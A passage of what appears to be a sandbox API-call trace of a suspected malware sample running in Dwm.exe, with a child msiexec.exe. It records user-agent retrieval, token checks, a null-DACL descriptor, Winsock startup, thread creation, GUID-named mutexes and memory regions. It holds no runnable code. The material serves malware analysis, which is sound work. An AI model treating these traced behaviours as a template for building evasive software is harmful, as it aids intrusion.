\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0104.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x282f530, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿpbdw", lpUsedDefaultChar=0x0) returned 256 [0104.718] GetLastError () returned 0x7f [0104.718] SetLastError (dwErrCode=0x7f) [0104.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x282f430, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0104.718] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x282f430, cbMultiByte=256, lpWideCharStr=0x282f100, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0104.718] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0104.718] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x282eef0, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0104.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x282f630, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0104.718] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x2015860, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\Dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe")) returned 0x1b [0104.718] GetLastError () returned 0x0 [0104.718] SetLastError (dwErrCode=0x0) [0104.718] GetLastError () returned 0x0 [0104.718] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.719] GetLastError () returned 0x0 [0104.719] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.720] SetLastError (dwErrCode=0x0) [0104.720] GetLastError () returned 0x0 [0104.721] SetLastError (dwErrCode=0x0) [0104.721] GetLastError () returned 0x0 [0104.721] SetLastError (dwErrCode=0x0) [0104.721] GetLastError () returned 0x0 [0104.721] SetLastError (dwErrCode=0x0) [0104.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1feb608, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c Thread: id = 145 os_tid = 0x80c [0104.809] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x296fae0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\Dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe")) returned 0x1b [0104.809] GetSystemDefaultLCID () returned 0x409 [0104.809] GetCurrentProcessId () returned 0x55c [0104.809] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x7fefdbe0000 [0104.809] GetProcAddress (hModule=0x7fefdbe0000, lpProcName="ObtainUserAgentString") returned 0x7fefdc41fa4 [0104.810] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x296de60, cbSize=0x296de5c | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)", cbSize=0x296de5c) returned 0x0 [0104.813] FreeLibrary (hLibModule=0x7fefdbe0000) returned 1 [0104.813] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x296e070, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\Dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe")) returned 0x1b [0104.813] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x296e230 | out: TokenHandle=0x296e230*=0x128) returned 1 [0104.813] GetTokenInformation (in: TokenHandle=0x128, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x296e1a0 | out: TokenInformation=0x0, ReturnLength=0x296e1a0) returned 0 [0104.813] GetLastError () returned 0x7a [0104.813] GetTokenInformation (in: TokenHandle=0x128, TokenInformationClass=0x1, TokenInformation=0x1f3b20, TokenInformationLength=0x2c, ReturnLength=0x296e1a0 | out: TokenInformation=0x1f3b20, ReturnLength=0x296e1a0) returned 1 [0104.813] GetTokenInformation (in: TokenHandle=0x128, TokenInformationClass=0xc, TokenInformation=0x2012b50, TokenInformationLength=0x4, ReturnLength=0x296e22c | out: TokenInformation=0x2012b50, ReturnLength=0x296e22c) returned 1 [0104.813] CloseHandle (hObject=0x128) returned 1 [0104.813] GetLengthSid (pSid=0x1f3b30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0104.813] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x2012b78, dwRevision=0x1 | out: pSecurityDescriptor=0x2012b78) returned 1 [0104.813] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x2012b78, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x2012b78) returned 1 [0104.813] GetVersionExW (in: lpVersionInformation=0x296e048*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x2, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x296e048*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0104.813] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0104.814] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x1f3b60, lpbSaclPresent=0x296e1fc, pSacl=0x296e1f0, lpbSaclDefaulted=0x296e1f8 | out: lpbSaclPresent=0x296e1fc, pSacl=0x296e1f0, lpbSaclDefaulted=0x296e1f8) returned 1 [0104.814] SetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2012b78, bSaclPresent=1, pSacl=0x1f3b74, bSaclDefaulted=0 | out: pSecurityDescriptor=0x2012b78) returned 1 [0104.814] GetVersionExW (in: lpVersionInformation=0x296e0c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x296e0c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0104.814] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x296e1d0 | out: TokenHandle=0x296e1d0*=0x168) returned 1 [0104.814] GetTokenInformation (in: TokenHandle=0x168, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x296e1cc | out: TokenInformation=0x0, ReturnLength=0x296e1cc) returned 0 [0104.814] GetLastError () returned 0x7a [0104.814] GetTokenInformation (in: TokenHandle=0x168, TokenInformationClass=0x19, TokenInformation=0x203ac0, TokenInformationLength=0x1c, ReturnLength=0x296e1cc | out: TokenInformation=0x203ac0, ReturnLength=0x296e1cc) returned 1 [0104.814] GetSidSubAuthorityCount (pSid=0x203ad0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x203ad1 [0104.814] GetSidSubAuthority (pSid=0x203ad0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x203ad8 [0104.814] CloseHandle (hObject=0x168) returned 1 [0104.814] LoadLibraryA (lpLibFileName="Ws2_32.dll") returned 0x7feff7e0000 [0104.814] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x296e128 | out: lpWSAData=0x296e128) returned 0 [0104.817] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0x1fe8c8c) returned 0x203ac0 [0104.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1fe7521, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c [0104.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1fe7659, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180 [0104.818] WaitForMultipleObjects (nCount=0x2, lpHandles=0x20137d0*=0x17c, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 146 os_tid = 0x81c [0104.856] StringFromGUID2 (in: rguid=0x28bf4c8*(Data1=0x85b42b0a, Data2=0x98e0, Data3=0x3f84, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x28bfcce, cchMax=40 | out: lpsz="{85B42B0A-98E0-3F84-65D9-FE61A0417768}") returned 39 [0104.856] CreateMutexW (lpMutexAttributes=0x2012b60, bInitialOwner=0, lpName="Global\\{85B42B0A-98E0-3F84-65D9-FE61A0417768}") returned 0x184 [0104.856] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0xffffffff) Thread: id = 147 os_tid = 0x82c [0104.856] StringFromGUID2 (in: rguid=0x29fea18*(Data1=0x85b47b09, Data2=0xc8e3, Data3=0x3f84, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x29ff21c, cchMax=40 | out: lpsz="{85B47B09-C8E3-3F84-65D9-FE61A0417768}") returned 39 [0104.856] CreateMutexW (lpMutexAttributes=0x2012b60, bInitialOwner=0, lpName="Local\\{85B47B09-C8E3-3F84-65D9-FE61A0417768}") returned 0x188 [0104.856] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) Process: id = "12" image_name = "msiexec.exe" filename = "c:\\windows\\syswow64\\msiexec.exe" page_root = "0x55a1e000" os_pid = "0x65c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x568" cmd_line = "C:\\Windows\\syswow64\\msiexec.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2781 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2782 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2783 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2784 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2785 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2786 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2787 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2788 start_va = 0x5f0000 end_va = 0x603fff entry_point = 0x5f0000 region_type = mapped_file name = "msiexec.exe" filename = "\\Windows\\SysWOW64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe") Region: id = 2789 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2790 start_va = 0x77720000 end_va = 0x7789ffff entry_point = 0x77720000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2791 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2792 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2793 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2794 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2795 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2796 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2797 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3548 start_va = 0x130000 end_va = 0x35afff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3593 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4345 start_va = 0x460000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4346 start_va = 0x510000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 4347 start_va = 0x6d0000 end_va = 0x74ffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4348 start_va = 0x73c40000 end_va = 0x73c9bfff entry_point = 0x73c7f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4349 start_va = 0x73ca0000 end_va = 0x73cdefff entry_point = 0x73ccde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4350 start_va = 0x73d10000 end_va = 0x73d17fff entry_point = 0x73d120f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4351 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4352 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4353 start_va = 0xe0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4354 start_va = 0x360000 end_va = 0x3c6fff entry_point = 0x360000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4355 start_va = 0x810000 end_va = 0x90ffff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 4356 start_va = 0x745f0000 end_va = 0x7482ffff entry_point = 0x745f66bd region_type = mapped_file name = "msi.dll" filename = "\\Windows\\SysWOW64\\msi.dll" (normalized: "c:\\windows\\syswow64\\msi.dll") Region: id = 4357 start_va = 0x75270000 end_va = 0x7527bfff entry_point = 0x752710e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4358 start_va = 0x75280000 end_va = 0x752dffff entry_point = 0x7529a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: 